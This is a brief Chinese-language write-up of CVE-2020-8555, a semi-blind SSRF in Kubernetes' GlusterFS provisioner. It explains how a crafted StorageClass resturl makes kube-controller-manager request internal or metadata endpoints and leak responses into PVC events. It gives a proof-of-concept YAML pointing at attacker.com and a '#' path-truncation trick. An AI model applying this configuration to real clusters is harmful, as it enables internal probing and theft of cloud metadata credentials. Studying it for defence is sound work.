CVE-2020-8555
漏洞原理
当用户创建一个 kubernetes.io/glusterfs 的 StorageClass,并把 parameters.resturl 设成一个攻击者控制的 URL 时,kube-controller-manager 在给 PVC 创建卷(provision)时会用它自己的网络身份(能访问 master 网段/回环/内网)向这个任意 URL 发 HTTP 请求。攻击者由此可拨测内网、访问 metadata(169.254.169.254)、探测未保护的 loopback 服务——且响应最多 500 字节会被带回到 PVC 事件里泄露(半盲 SSRF)。
关键小技巧:resturl 末尾加 #,把 heketi 客户端自动拼接到路径末尾的 /volumes 截断掉,让请求恰好打到 http://目 标:端口 根路径。
POC
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"漏洞复现
起一个 HTTP监听器当"攻击者目标

创建恶意 StorageClass + Secret + PVC

监听到请求

看响应被泄露到 PV 事件
